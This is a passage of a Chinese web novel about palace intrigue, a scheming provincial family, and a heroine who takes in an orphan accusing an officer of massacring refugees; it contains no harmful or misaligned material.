虽然他们私下有争执,意见不合。但燕彬是个刻板守纪的人,尊重自己上司,礼仪态度做足,一板一眼。
叶清辞将他搀起,看眼桌子上摆着的饭菜,体贴下属道:“辛苦你了,燕典史。等你吃完饭,咱们再谈正事。”
燕彬拾起托盘里的帕子,擦擦嘴扔回去。
“我吃好了,大人,我有极为重大的事告诉你!”
傅振立即机灵收拾碗盘,端出去交给曾嬷嬷送回厨房。顺便在正屋门外一站,把守望风。
屋内,燕彬放低声音:“大人,粮食采购到十万石,已存放在安全地带,派九幽阁帮众驻守。此外……”
他拿出一样东西,双手呈交叶清辞,面色凝重无比。
“这是……属下无意中打探到的消息,赶去确认事实真伪后,那位嘱托属下转给大人您的!”
叶清辞接过那东西,摸到手感觉像是层层软布。
他打开包袱皮,里面还真填充的是布。疑惑间,发现包里黄光一闪。用手指挑开布,夹层一面精美龙图案的玉佩,显露出来。
帝王黄玉!
这是只有皇家才会拥有的珍品。小小一面玉佩,请名匠精心雕琢,加上佩戴人身份不同,价值连城。
叶清辞瞳孔骤缩,小心拿起那面玉佩端详。
似曾相识。
他下一刻想了起来。这不是太子景渊的贴身之物,怎会落到燕彬手中,千里迢迢给他送回来呢?
压抑住激动心情,他看向燕彬,声音轻颤。
“是不是太子殿下他……”
燕彬慎重无比,对他用力点了个头。
顿时,叶清辞从心底呼出口气,微微闭上眼睛。片刻,嘴角含笑吐出三个字。
“太好了!”
燕彬道:“大人,我们需要尽快赶赴柏州。三皇子派遣的军队在战场吃了大败仗,现在和谈,不过是缓兵之计,二皇子一方必定不肯接受。”
“宜阳县迟早卷入战火,边陲外乌蛮人也有异动。虽然四皇子好似与乌蛮人暗中有协议,但贪婪成性的乌蛮人,必定会趁乱入侵我大靖!”
“大人,我们一定要当机立断,早做准备。柏州需要您!”
叶清辞没有第一时间做出决定,迟疑片刻。
“我上书吏部,待吏部派出新任县令接任再离开。”
虽说三皇子这新帝名号来得名不正,言不顺,但他既然是大靖官员,理当按规矩章程办事。
莫名其妙一走了之,奔自己前程算什么事?
何况,他贸然一走,宜阳便成了季隆、金竹海这种有心人的掌中物。他们是不会管老百姓死活的,只会将宜阳县待价而沽。
为了那位,他至少要想法使宜阳县上层官吏相互牵制,延缓宜阳县落入敌手。
燕彬听了这话,微垂眼帘没有说话。
他怀疑大人是舍不得宜阳县某些人事,不好直说找托词。文人弃笔从戎,那种优柔寡断的劲儿一直在。
但他也无力让叶清辞改主意,只能先退出去与傅振聊聊。看他走后,宜阳县发生过什么事。
叶清辞独自坐在屋里,手指摸索那面黄玉龙佩。心里既喜且忧,久久陷入沉思。
好男儿志在四方。
本以为此生梦灭,没想到峰回路转。他即将奔赴自己理想前途去,但拿宜阳县说不出口的某些人事,该怎么办呢?
这块黄玉龙佩出现,代表他必须为内心的犹豫,做出抉择了!
金竹海这边,带着残兵败将回到驻军所。掏了一大笔钱作为伤者医疗费不说,还不敢去见季中郎将。
但事情总要解决的,他拧着眉头,把主意打到二弟妹邓慧身上。
对方嫁进金家,带了好些个丫头婆子。对季中郎将献美女的承诺已出口,无论如何不能言而无信。
只能挑个人先给季中郎将送去。待寻到金冬梅,再提与季中郎将结亲的事。
他心里觉得,自家妹妹肯定与旁人不同,许给季隆,身份自然要高些。
半道拍醒金安福商量。金安福抱着撞出大包的脑袋晕乎乎的。回想灰衣人从苏蓉屋里现身的那刻,往昔霸道横蛮,化为浓重恐惧。
他对这个前大嫂干尽坏事,嘴上也从未留德。对方不会暗地派出那种可怕的人,来了结他吧?
金竹海说的事,他心不在焉没放心里。
“大哥,不过一个下人,你看中谁,我和慧慧说一声,让她给你就是。”
倒是这些日子,得住在驻军所不回家了。人多的地方,才有安全感。至于邓慧,他相信苏氏不会针对她。
金竹海嫌弃这个弟弟没出息,得到承诺不再理会他。
进到家门,老金氏发现两个儿子都是鼻青脸肿,不免错愕。再听金竹海说明情况,更是不能置信。
“那个贱皮子,能请到如此能耐的护卫?”
怎么可能!以一当十是金竹海这种水准,已经很少见。以一当百,游刃有余甚至更强,那是什么概念?
岷郡王氏令知情者谈虎色变。难道区区一个护卫,就有岷郡王氏的能耐?
“一定是叶清辞派去暗中保护苏氏的人!”
金竹海越想越觉得自己猜测没错,内心鬼火冒。
“娘,你一定要帮我!季中郎将暗示过我,他身边都尉位置如今空缺。我若能讨到他欢心,升职到都尉一职,比成为校尉正职更好,连叶清辞也不敢与我叫板!”
第109章 主意又打到她头上
他现在是七品督尉,只能与叶清辞平起平坐。某些时候政治实权也被对方压一头。
但当上六品都尉就不一样了。作为中郎将手下第一副将、贴身亲信,叶清辞见到他也得低头行礼!
想到那光景,金竹海内心火热。
老金氏为难。
“老大,你让我一个老太婆怎么帮你?”
“娘,弟妹过门,手下有好几个陪嫁丫头。你帮我说说,讨个过来,献给季中郎将。”
邓慧的贴身侍女都是黄花大闺女,而且是早年刘夫人精心挑选培养,当做邓慧陪嫁。比金竹海现在去外面瞎寻摸,买个回来好。
而且这些丫头大都识文断字,教过规矩,献给季中郎将十分合适。
金安福倒是答应帮他。
不过这小子新婚燕尔,见了小媳妇化成一滩水。如果邓慧不答应,他升职大计岂不泡汤?故而要老娘出马,双管齐下。
婆婆对媳妇,身份地位天然有压制。
邓慧不敢不给。
老金氏一听:“原来是这么个小事!为你这大伯出力,是她当弟妹的应尽职责。老大你等着,我这就叫她来。”
立即叫身边侍奉的翠花去传话。
旁边桃枝心脏怦怦跳。
进中郎将府,不知她的姿色可有这番福气?与其将目标放在金家兄弟身上,最后当个小妾,不如更进一步,步入他们顶头上司的后宅!
母子三人坐着商议,完全没注意桃枝格外殷勤起来,给他们端茶送水求露脸。
金竹海压根没将桃枝放在眼里。
邓慧身边出众的丫头,他已经锁定一个目标。
那就是——
梅玉儿!
这个差点成为自己继室的梅家千金,他对其骄纵的个性毫无好感。梅家倒台,便是一个毫无利用价值之人。
做梦不曾想到,金安福为讨邓慧欢心,竟然想办法将其买了回来。
这天天抬头不见低头见,对方幽怨的目光,令他如鲠在喉。
邓慧时常折辱梅玉儿,何尝不是在打他脸?
故而,趁势把梅玉儿送出去,让这女人的脸和曾经的身份,发挥最大价值和作用。
从丫鬟变成小妾,梅玉儿说不定因此感激他呢!
过了会,环佩玎珰,香气扑鼻,邓慧带两名侍女来到。其一便是低眉顺眼的梅玉儿,仔细看,她嫩白的脸上还有未消下去的红印子。
邓慧一套敛衽施礼,形如流水。论装模作样,没人比得过她。
在金家人眼里,这就是出自书香门第的大气,跟以前苏氏上不得台面的怯懦、不懂规矩,云泥之别。
不止金安福看着自己好不容易搞到手的小媳妇,沾沾自喜。老金氏也觉得脸面倍儿光。
放眼丰定村,不、放眼整个宜阳县,谁家大户闺女有她这教谕千金媳妇的出色!
当然,再满意儿媳妇,不妨碍她习惯性在儿媳妇面前傲慢,说一不二。
多年媳妇熬成婆,谁不是这么过来的?
她自认为对这老二家媳妇太给脸了,要她一个陪嫁丫头有啥了不起的!
“慧慧,过来坐!”
等邓慧行过礼,金安福殷勤地拖出一条凳子,让她坐在自己身边,老娘和大哥下手。
邓慧坐下来,才发现自己男人和大伯身上,多少挂着点彩。她惊讶地掏出手帕子,小心擦金安福脸上的红肿。
“夫君,你这是怎么伤着了?”
金安福没脸说自己在苏蓉那边吃的亏。在邓慧面前,他一直扮演的是英雄角色。英雄哪能轻易变狗熊,破坏媳妇心目中的高大形象?
他干咳一声,握住邓慧拿帕子的手。
“没事,今天随大哥一起去巡城,闹事流民太多了。我们忍着君子动口不动手,被刁民扔石子不小心砸了。”
不仅谎言合情合理,还树立自己坚忍不拔的形象。
邓慧信以为真。
对这新婚夫君,虽感觉与县令大人相比天壤之别。
但嫁都嫁了,夫君还曾不顾性命救过她,加上婚后做低俯小格外温柔。她也将那种隐隐不甘压在心底,一心一意与其过日子。
此时见金安福受伤,忙让人去拿药油,亲手为他涂抹。
一边擦药,一边气愤抱怨:“那些流民实在太可恶了,目无法纪无恶不作!夫君,你们就不该对他们心慈手软。”
小两口无所顾忌,旁若无人秀恩爱,金竹海想想自己目前成了孤家寡人,忍不住翻弟弟两个白眼。
一个孬种,也就这二弟妹是个傻子,被蒙在鼓里罢!
老金氏接受到大儿子给的眼色,和颜悦色开口。
“慧慧呀,有件事娘想和你商量下。”
听这口气,邓慧就知道又到了自己出血的时候,不动声色,笑得温柔又甜。
“娘,什么事您吩咐就成,还用商量?儿媳妇听你的!”
无论什么事问她,她都不会表达不满意。但事后,会通过金安福来表示转达,甚至改变。
碰了好几回软钉子,老金氏本该清楚自己这个媳妇不是一般人。但老金氏刁惯了,也蠢,下回还会继续。
此时,老金氏理直气壮。
“慧慧,冬梅那死丫头,不知跑哪里去了找不回来。你大伯又向季大人许诺过,要送人进季府。这……”
她故作为难。
“咱们临时去外面找人调教已来不及,不如从你带来的陪嫁丫头中挑一个,送过去先应付着吧?”
她观察邓慧,发现邓慧笑容有些僵住,忙表示。
“慧慧,你娘家是会调理人的。你瞧,你身边丫头个个好的,又懂规矩。如果她们得到季大人宠爱,也是她们造化。还能为咱家带来大好处!”
一句话,你现在不也是金家的人,不为金家着想?
邓慧心里愀然不乐。
这金家贪得无厌!
她的嫁妆,已经拿了部分出来维持金家日常开销。丫头也送了婆母一个,现在主意又打到她身上!
到最后,她身边能剩几个心腹?
不过,被金家母子虎视眈眈盯着,她不能当面拒绝。不然,树立的温柔似水人设,化为泡影。
暗中咬牙骂了句“老不死的”,面露温婉微笑:“能为大伯、家里做出贡献,儿媳自然没意见。却不知娘和大伯看中的是谁?”
第110章 梅玉儿进季府
老金氏也不知道大儿子想选谁,目光投给金竹海。
金竹海道:“自然要容貌出众,知书达理,且懂大户人家规矩的人。”
顺着他的视线,众人目光集中在梅玉儿身上。
如同背景板的桃枝,手里快把一方帕子绞烂了,暗恨盯着梅玉儿的脸。
心想早知道,趁主子厌恶这小贱人时,就把她脸用指甲挖烂了!
本以为跌到泥潭里再不能翻身的大小姐,成为和她们一样的奴籍,莫名心理平衡。没想到有朝一日,对方还有机会翻身。
梅玉儿短短时间,经历常人一辈子未必会经历的苦难,性情早已大变。
听到金竹海这么说,金家人又把目光集中在自己身上。她抿紧下唇,一副任人宰割的脆弱模样,实际心里早已下定决心。
与其在金家任由邓慧羞辱磋磨,不如抓住这个机会,去季中郎将身边。
凭她的美貌和曾经所受的教育,季中郎将还能不对她另眼相看?
到时候从泥潭里爬出重新上位,成为季中郎将新宠,有的是机会给金家上眼药。
金竹海还妄想借由她往上爬?做梦!
叶清辞、金竹海、邓慧这些人……
害过她和她家人的人,都不得好死!她要借季中郎将的势,好好跟他们清算。
低垂眼帘,掩去内心怨毒情绪,梅玉儿静听对自己命运的宣判。
邓慧不满地看梅玉儿一眼。
让对方去侍候季中郎将?
一个罪臣之女,配吗?
不过,比起视若废物的梅玉儿,她更舍不得对自己忠心耿耿、精心调教过的侍女。
这种侍女,她娘苦心教导过她。合适时候,要开脸送给夫君做通房,替她笼络夫君的心。
别看金安福现在对她百依百顺,日子久了,迟早生厌。
男人都是见异思迁的负心汉。
他爹不就那个德行?满嘴仁义道德,不耽误宠妾灭妻。最后眼睁睁默许陶姨娘幽禁刻薄自己娘,令她抑郁而终。
邓慧不动声色想着,面上浮现出假笑。
“这么说,娘和大伯是看好梅玉儿了?梅玉儿,你自己表个态,愿意进季府吗?”
对于金家母子唯利是图的无耻行径,她嗤之喷鼻。直接点明向梅玉儿撇清关系——
要送你去当男人玩物的,可不是我!
当然梅玉儿她同样不喜。
落得这般下场咎由自取。以前梅主簿尚在时,梅玉儿可没少仗着家世背景打压她!
明明她才华横溢,但梅玉儿自恃梅主簿比她爹官职大,在外交际时,愣是骑在她头上自诩宜阳第一贵女。
呸,没有身份,这小贱人除了那张脸,什么也没有。送去给季中郎将暖床,算物尽其用罢!
梅玉儿半低着头,眼角挤出一滴泪。
“我……奴婢听任主子裁夺。”
虽然梅玉儿不去也得去,不过她乖巧自愿去,总能让金家人满意。
老金氏高兴拍板。
“那就这样吧。慧慧,你马上安排梅玉儿梳洗,给她好好打扮一番。等天黑,老大安排小轿给季中郎将送过去!”
邓慧示意下人将梅玉儿带走。等屋里走得只剩金家母子三人和自己,方才提出疑虑。
“娘,这梅玉儿家破人亡,以前又和大伯有过婚约。说不定心里记恨咱们呢?万一她在季中郎将身边得势……”
老金氏倒是没想到这个,紧张地看向金竹海。
“哼,一个女人,能翻得起多大风浪!你们当季中郎将没见识呢?”
金竹海不以为意。
“他岽州老宅那边,不知收了多少燕瘦环肥的美女。梅玉儿那相貌,丢里面水花也不溅起一点!”
“不过是季中郎将这次巡视来得匆忙,没顾上带家小,给他送个暖脚婢而已。想要与之关系更进一步,还得将小妹名正言顺嫁过去!”
有他身份在,金冬梅够资格为妾。相应,金冬梅为他美言,能提升自己在后宅中的地位。
相辅相成。
无奈金冬梅这个蠢货不理解他的苦心,也不为金家着想。
老金氏几人听了他分析,放心不少。
送礼图的是好处。若是送过去没好处,反而给自己带来威胁,谁愿意?
当夜,打扮一新洗白的梅玉儿,被金竹海一乘小轿,悄悄送到季中郎将下榻处。
季隆眼睛饱受县衙歪瓜裂枣荼毒,陡然一见梅玉儿,感觉眼睛心灵被净化了一遍。再听说梅玉儿是获罪的前任主簿之女,心里更满意了。
大户人家养出来的千金小姐,肯定比从青楼、乡下搜罗来的女人强。
金竹海在季隆心目中的位置,瞬间拔高。
当然,升职不能马上升,不然难以服众。金竹海还需立下一点军功,升职才说得过去。
夜里,下了一场水夹雪,天冷到令人发指的地步。
苏蓉向曾嬷嬷请半天假,特意带着方小兰上街买衣服。
张如英如此亲近的朋友关系,得送一件。金冬梅身无长物,也得给置办两身。她习惯性背个大背篓。
买来的东西放里面,小兰走不动,还能装进去。
花了几两银子,采购齐全东西,领着小兰回家。
方小兰难得外出,紧紧牵住苏蓉的手,两只眼睛张望四处不停。
苏蓉摸摸孩子脑袋。
可惜县城这般冷清萧索街道,真没什么好看。
为了生存,有些城廓民们不便外出上工,便把家里东西摆摊到门口,以物易物换些口粮。
不牢牢看住自己口袋,只怕一眨眼便蹿出个小瘪三,从你手中硬抢东西。
眼见快进入胡同,长长巷道没什么人。苏蓉抱起小兰,放在背篓里。
就算有人抢,看见她背篓里装的孩子,也得犹豫一二,上手不容易拖走吧。
小兰坐在棉衣堆里,小手紧紧抠住背篓缝隙,眼睛警惕地帮姐姐注视四周动静。眼见快到家,突然,不知打哪里蹿出来团黑影,扑到她们脚边!
这突如其来一下,惊得苏蓉差点叫出声来。
明明负重这么久,走得快累死的身体,仿佛注入一道电流,瞬间让她弹起来往后跳,好悬没让那东西,碰触到自己裙边。
小兰比她更害怕,双手紧紧搂住她脖子。
苏蓉还以为自己吓得出不了气。回过神,原来是被小兰勒住透不过气。
她连忙安抚小兰,示意她松手,一边定睛朝那团黑影瞄过去。
第111章 我要状告金竹海
原来是个小流民,浑身脏兮兮的,像刚从垃圾堆里爬出来,散发恶臭。
苏蓉又退两步。
倒不是怕的,而是熏的。
正想训斥对方两句,见到什么人都敢抢。那小流民圆睁双目,冲她叫了声。
“姐姐!”
苏蓉没好气,叫姐姐也改变不了你不安好心的行为。以为她背着孩子,便是利于下手的肥羊了?
不过这么小的孩子,也被迫出来营业,可见宜阳县治安糟糕到什么地步。
“姐姐,是我啊,谭敖!”
苏蓉莫名其妙。
谭敖是谁?第一次见人心怀不轨自报家门!
她警惕地抓紧背篓带子,不动声色往家门方向移动。同时眼角余光,观察附近是否有这小孩同伙。
这年头,流民是比小偷小摸、地痞流氓更可怕的存在。
要不是看眼前是个和小兰差不多大的孩子,她早就掏出豆子了。
谭敖伤心地流下眼泪,将乌漆麻黑的脸蛋,冲刷出两道白印子,露出内在尚算细嫩的肌肤。
“姐姐,那日您在城外施粥,从坏人马蹄下,救了我一命!我爹叫我‘敖儿’,您应该听见了?”
苏蓉震惊。
连忙将这孩子上下打量,看样子个子高矮差不多,但相貌、衣裳真是无法分辨。十个流民孩子,九个如此狼狈。
“真是你?”
她迟疑:“你怎么进城了,你爹呢?”
难不成这孩子家人出了什么事,不然怎么没看见大人跟随?世道这么乱,像这么大的孩子,孤身出门极不安全。
今日若非想给小兰买合身衣裳,再让她挑两件自己喜欢的头饰或玩具,她绝不会冒险把人带出门。
方婆婆走后,小兰一直关在家里,怕被闷出病来。
谭敖一听这话,哭得更伤心了,用褴褛且脏的袖子,擦着红肿的眼睛。
“我爹……二伯他们……同乡……全部被杀了!”
“被杀?”
苏蓉惊讶莫名,但想想又觉得不意外。没有吃的,没有希望,如果她是流民中一员,说不定也会铤而走险。
人饿急了,什么都干得出来。
既然你去伤害别人了,别人回击你,自然在情理中。
不过,她误会些了事。
“城外,竟然乱到如此地步……”
她心有戚戚。
想了想,准备掏些钱送给谭敖。至于别的更进一步救助,不打算有。非亲非故,谁知道这男孩什么品行,背后什么人?没必要给自己找麻烦。
她刚摸出小串铜钱,谭敖机灵,看出她的心思。猛地对她跪了下来。怕像先前一样惊到她和小兰,没敢上手再去抓她裙角,而是保持距离。
“姐姐!我不是想向您乞讨,而是想求您帮帮我?我知道您和衙门关系匪浅,我……我要状告驻军所金竹海!”
“什么?”
苏蓉以为自己耳朵出了问题!难道是之前金竹海城门纵马,差点把这孩子踩死,对方还记着仇?
但这种事叶清辞肯定是不会管。要管,当时就拿下金竹海了。
金竹海现在的身份地位,不是县令可以轻易处置的。
下一刻谭敖声声泣血、字字含恨吐露口的话,令她心惊肉跳,震撼不已。
“是的,我要向衙门告发那金竹海。借剿匪平贼之名,滥杀无辜百姓!我爹、二伯二伯娘,两个姐姐一个幼弟,还有许多其他难民……”
“我们明明什么也没做,只是流落到宜阳县,日日等候在城门外,盼能讨到一碗粥喝。金竹海趁夜带队杀进难民营,不分老弱妇孺一律屠戮。”
“用我们的血染红他的晋升路,用我们的首级冒领他的军功!”
谭敖眼圈通红,竭力隐忍快要崩溃的汹涌情绪。
“听说叶县令有青天美誉,是不是?”
“姐姐,我一靠近衙门他们便撵人……街头一露面就有巡城兵来抓人……”
还有猖獗无比的地头蛇。他九死一生冒险潜伏在米市街,苏蓉是他所知的最后一线希望了!
苏蓉看着眼前谈吐不俗,身世经历更是骇人的男孩,久久说不出话。
不止惊讶金竹海的疯狂残忍。还震撼这么小一孩子,如此胆略兼人。大悲之下,方寸不乱。
发现远处有人开始探头探脑张望这边,苏蓉不再犹豫。一把拉起谭敖,低声道:“先随我回家!”
这么大的事,若是真实的,就算与金竹海无冤无仇,她也不能坐视不理!
金竹海开了这道口子,伤天害理是其一;更重要的,官逼民反,民不得不反!
届时宜阳县陷入疯狂的流民潮围攻,外面还有敌军虎视眈眈,那宜阳县成千上万的百姓,可就遭灭顶之灾了!
不为他人想,也要为自己和家人亲朋想。
领着谭敖快步回家。把背篓放地上,先把小兰从里面抱出来。
张如英和金冬梅在院里重新种菜收拾卫生,见她领回一个脏兮兮的小男孩,隔老远便闻见那味,惊讶地看过来。
张如英起身甩掉手上泥巴:“苏丫头,你这是……”
苏蓉警惕地观察外面,确认没什么可疑人,方才抬起顶门杠闩上院门,示意大家先进屋。
谭敖有些局促地双手交握站在屋中,不敢坐不敢开口,怕擅自行动惹来苏蓉不喜。苏蓉可是他报仇雪恨的唯一指望了。
“这是我之前救下的孩子。他亲人全部被害,现在只剩他一个人。”
苏蓉一说张如英便明白。苏丫头这是心又软了,往家里领人。
金冬梅好奇地打量谭敖。
苏蓉想到后面的话,涉及她哥哥金竹海。怕生出不必要的麻烦,先婉转支开人。
“冬梅,厨房是不是有热水?先带这孩子去洗个澡,拿点东西给他吃。”
想到谭敖一穷二白的,去自己柜子翻出旧衣递给金冬梅。
“让他今天先穿我的衣裳凑合,明天下工,我再给他买两件回来。”
金冬梅巴不得有用武之地,得到苏蓉分派事做,很是积极。连忙应声,招呼谭敖跟着她去。
等人离开,苏蓉把买的东西从背篓里拿出来分类,同时悄悄告诉张如英来龙去脉。
张如英听得心惊肉跳,小声道:“那金竹海,竟然如此大胆?苏丫头,你贸然卷入这件事,会不会……”
第112章 家有你一份
自古民不与官斗。
苏蓉即便背后有叶清辞撑腰,但这件事太大了!
金竹海一个人,肯定完不成对众多流民的屠戮。他手下人参与其中;季中郎将是否知情未可知。
仅凭一个幸存的孩子,想扳倒驻军所,别说苏蓉做不到,叶清辞这个县令,不一定能做到。
宜阳县大部分兵力掌控在驻军所将领手中。军政分离,受上一级直辖领导。
如果季隆包庇金竹海,叶清辞奈金竹海何?现在世道又乱,官府体系崩盘,各地官员自顾不暇,哪会理睬小小县城一名县令上书。
张如英能想到的事,苏蓉自然也清楚。所以,苏蓉决定帮助谭敖,是将自己彻底摆在驻军所的对立面。
如不能一举除掉金竹海等人,她们就有危险了!
苏蓉安抚张如英。
“张婶子,我只是将谭敖带到叶大人面前。叶大人要怎么做,处理这件事,我不过问不插手。”
辅车相依,唇亡齿寒。
放任金竹海等人猖狂,真逼到流民造反,她作为宜阳县百姓,一样逃不过命运车轮的碾压。
张如英经她一说,也想明白了。
“苏丫头,我支持你!不过,也别贸然将那孩子带进县衙,指不定衙役中有金竹海等人的眼线。你先探探叶大人口风再说。”
苏蓉点头,摸摸一直乖巧依偎在自己怀里的小兰。难得的是,这孩子这一天听到、见到这么多事,没有质疑一声。
灾难使人成长,看来小兰的确与以前大不同了。知道什么该问,什么不该问。
张如英去厨房做饭,多抓一把糙米。犹豫着,又切了丁点腊肉末,丢进锅里。
这块腊肉是苏蓉从衙门领回来的福利,只有巴掌大小。张如英舍不得全部做来吃,只有在苏蓉下工后同吃晚饭,才会弄一点熬肉粥。
苏蓉留在房间里,给小兰换上新买的棉衣,扎上头花。
别说,这一打扮小兰真就好看不少!
苏蓉爱怜地摸着小兰的两个揪揪头:“小兰,你对姐姐今天的作为,有什么想法?”
如果小兰不同意她帮助谭敖,她会考虑的。毕竟心目中已将小兰当成家人,家人的意见,自然要尊重。
方小兰没忘记自己奶奶死在流民手中。但她同样明白,害死奶奶的凶手,与姐姐带回家的小流民,八竿子打不着关系。
想到小流民那副可怜的模样,她把头埋进苏蓉怀里,发出闷闷的声音。
“小兰没有想法,支持姐姐的一切决定。”
苏蓉拍拍她的头。
“你是我妹妹,这个家有你一份!你若不同意姐姐做法,尽管说出来,姐姐会尊重考虑?”
她大小兰八岁,差不多以母女的感情,对待这个妹妹。
方小兰眉眼弯弯,抱紧她一会。片刻,抬起头来,肯定地给予答复。
“姐姐,那个小哥哥和我一样,亲人被害。太可怜了,我们能帮他,就帮一把吧!”
苏蓉从心底笑出来,拥紧方小兰。
这孩子从肉眼可见的抑郁中走出来,终于有了自己独立思考的能力,不枉她和张婶子日以继夜的陪伴。
良久,金冬梅把沐浴完毕,头发还湿漉漉的谭敖带进屋。找块大帕子,帮他擦干头发的水分。
即便穿着苏蓉给出的女式旧衣,极为不合体,谭敖的相貌,还是着实令几人惊艳一把。
没想到这小流民,洗干净后那么漂亮。秀秀气气的,五官精致。即便皮肤因逃荒生涯晒黑,不损他容貌出众。
苏蓉顿时起了疑。
回想对方谈吐不俗,越发笃定一件事:“谭敖,你是不是读过书?”
古代脸朝黄土背朝天的农民伯伯,养不出这种孩子。
果然谭敖点头。
“我家在宁城。爹是县学训导,我是童生。”
大家都是一惊。
能进县学当教育训导的,多是举人贡生。没想到谭敖有这样的家世背景。
再细思极恐。
城池一破,连举人贡生也落得如此下场,遑论其他普通百姓?
可怜谭训导大概没想到,他举家逃亡,好不容易流落到宜阳县,却碰上金竹海这个煞星,最终身陨。
不知道谭敖如何惊险逃生,还能混进城里,打听到她所住街区?不愧是读书人,太有头脑了。
对于小童生,大家都多了几分稀奇和尊重。
张如英和金冬梅把热气腾腾的饭菜摆上桌,苏蓉招呼谭敖一起吃。
都带进家里了,自然一视同仁,何况谭敖还是个孩子。张如英慈母心泛滥,给谭敖盛了满满一碗稀粥。
苏蓉怕他一时不适应,叮咛他先喝点粥润肠胃,再吃饼子。不要吃太多以防撑出毛病来。
谭敖三天饿九顿,见了食物眼冒绿光。但他牢记着以前习惯的规矩,等苏蓉等人开始动筷子后,他才抬起手,摸到碗。
粥刚熬好,温度很高。但他手指触及碗沿,没有第一时间缩回去。而是默默感受食物在手的充实。
抬起眼仔细看苏蓉,他要把恩人的音容笑貌,牢记在心。
即便最后苏蓉不能帮助自己报仇,这一饭之恩,同桌的尊重,有机会也定要回报!
饭后,苏蓉将两条长凳拼在一起,摆在堂屋角落,匀出一条被子,告诉谭敖。
“你暂时就在这里睡。找县令大人告状不急,等我找个合适时机……明天上工回来,先给你买两件合适衣服。”
谭敖有些羞涩地瞧自己身上的女式衣裳。恩人家没有男性,他不好意思问究竟,给什么穿什么。
听到苏蓉竟然愿意给他买衣服,不由得更加感激。
“谢谢姐姐。”
已经知道苏蓉姓氏,但他不愿改口。他羡慕看上去怯生生的小兰,与他差不多大,有苏蓉这样一个能干的姐姐。
方小兰从没见过如此漂亮的小男孩。自打谭敖洗白白后,就不由自主偷偷瞟着谭敖看。谭敖感觉视线瞧过来,她又不好意思躲在苏蓉身后。
苏蓉知道小兰长期生活在乡村,能见到的人,只有方婆婆和村里人。乡下孩子,自然没有小童生稀罕,小兰好奇难免。
她笑笑,检查一遍门锁,带着小兰和大家互道晚安,关门睡觉。临睡前,照例派出铜甲兵去采药。
明天开始,有一场硬战要打!
第113章 愿意随我一道走吗?
梅玉儿死了!
次日上工,没看到叶清辞、傅振三人,想必大早巡城去了。倒是姜厨娘特地来一趟,告诉她这个惊人消息。
因为所有人都知道,梅玉儿差点成为金竹海继室。
说直白点,若不是当时金竹海攀上梅家这高枝,苏蓉不一定会被金家休弃赶出门。
每个人都觉得,苏蓉一定恨透了梅玉儿。
有这种消息,姜厨娘自认与苏蓉交好,那肯定要第一时间告诉苏蓉,让她高兴高兴。
“她怎么死的?”
但苏蓉只有惊,没有喜。
原身和自己的苦难,其实大半来自金竹海、金家。梅玉儿作为父母之命,媒妁之言时代的牺牲品,本身没有多少话语权。
与其说恨,不如说她平等地恨每个鱼肉百姓的贪官污吏,包括借他们势扶摇东风的三亲六戚!
想到邓慧将官卖的梅玉儿买下,猜测莫不是邓慧害死这位前主簿之女?
姜厨娘摇头叹息。
“算她咎由自取吧!听说,是她自愿侍奉季中郎将。然而,季中郎将是什么人……”
没见从不休沐的她当时告病假,叶清辞紧急调遣衙内年轻有姿色的女杂役暂避?岽州季中郎将好女虐女的名声,臭不可闻!
结果这梅玉儿竟然傻傻自己送上门去。
季中郎将果然没稀罕两天,就将梅玉儿活活鞭笞而死。尸体用破席子一卷,扔到城外乱葬岗。
驻军所的人,传言梅玉儿说错了什么话,触怒季中郎将。具体的谁说得清呢?
苏蓉和姜厨娘闲聊一会,姜厨娘安抚拍拍苏蓉的手,赶回厨房。苏蓉一个人在县署內宅继续努力干活,心里暗自庆幸,将金冬梅收留。
否则,梅玉儿的下场,焉知会不会是金冬梅的下场?
若是这世界本就不多的朋友,不幸被害一个,她哭都没地方。
晌午,叶清辞带着傅振和燕彬一起回来。三人神色凝重,边走边低声快速交谈,不知道说什么事。
苏蓉隐约听到“三日”“新”字样。但她顾不上关注这个,急忙放下端着的饭碗,几步从屋里跑出去,想拦下叶清辞。
“大……”
她刚开口,就被燕彬突兀伸出的手臂隔开。燕彬两道隐含杀气的目光,犹如实质落在她脸上,刺得她浑身一激灵!
不知何时,燕彬对她的莫名敌意,深到这种地步了?
略一耽搁,走在前面的叶清辞已步入正屋花厅。傅振听到响动,回头来看一眼,露出疑惑表情。
燕彬丢给苏蓉一个警告的眼神,回头追上去,揽住傅振进门。
苏蓉木呆呆走回自己屋,饭也不想吃了,想着燕彬糟糕的态度。
本以为自己铜甲兵的威压够可怕了,燕彬却更胜一筹。
刚才那种情况,她怀疑自己坚持要去喊住叶清辞,燕彬定会拔剑将她砍为两段!
即便她总将金竹海气得暴跳如雷,但金竹海看她的眼神,远没有燕彬这么可怕。
这到底是怎么了?
她杀了对方爹娘抢了对方媳妇还是掘了对方祖坟?燕彬对她的杀心,来得莫名其妙!
使劲捏着碗筷,恨不得这是那人脑袋,将之捏爆。
这种人,为什么偏偏是大人心腹!
但是答应了谭敖的事,不能反悔。
踌躇一番,她丢下筷子再次起身,准备前往正屋。
就不信了!燕彬还敢当着叶清辞和傅振的面,杀她不成?正好让大家看看这小子的真面目!
不过,刚迈步便看见燕彬出门,她急忙缩回脚。暗戳戳等燕彬离开县署內宅,方才举步走向正屋。
能避免冲突就避免吧,她绝不是怕了对方,哼!她只是不想让叶清辞为难……
傅振守在门口,见到她没有惊讶,反而露出一丝早有预料的笑意,冲她挤挤眼睛。
“苏娘子,你快进去吧,大人正在里面等你。我先去厨房看看。”
特意支开燕彬,傅振清楚大人有话要对苏娘子说。
他虽然懵懂,燕彬回来后一个劲追问他大人和苏娘子的关系,平日说什么做什么。慢慢回想大人的态度,隐约也猜到几分。
不过他和燕彬不一样,对此持相反态度。因此,挺积极为两人制造私人空间。
要知道能让大人这株铁树开花,有多难吗?
这种情况还去计较苏娘子身份问题,本末倒置了。
他很愉快地洒脱走掉,留下苏蓉一个人傻站门口。
顿了顿,苏蓉才伸手打算去敲虚掩的房门。但举起来没碰到门板,“吱嘎”一声,叶清辞开门出来。她的手险些碰触到他脸上!
惊得她一下子缩回。两人四目相对,一时间空气仿佛凝固住了。
片刻,叶清辞主动开口,微微含笑:“苏娘子,我有重要的话,想对你说。”
对上他深邃似乎隐藏情愫的眼神,尽管拼命在内心告诫自己,不要犯傻。但她仍旧控制不住自己,心脏怦怦跳!
拿得起,放得下,谈何容易。
她也是两辈子,第一次真正对一个男人动了心。
“你先进来。”
叶清辞看着她头顶,压抑住内心情绪,当先转身。
苏蓉满怀惴惴,跟着他进屋,将门掩上。
叶清辞示意她坐下。两人面面相觑望一眼,一时间陷入沉寂,都没勇气开口。
过了一会,同时张嘴。
“大人……”
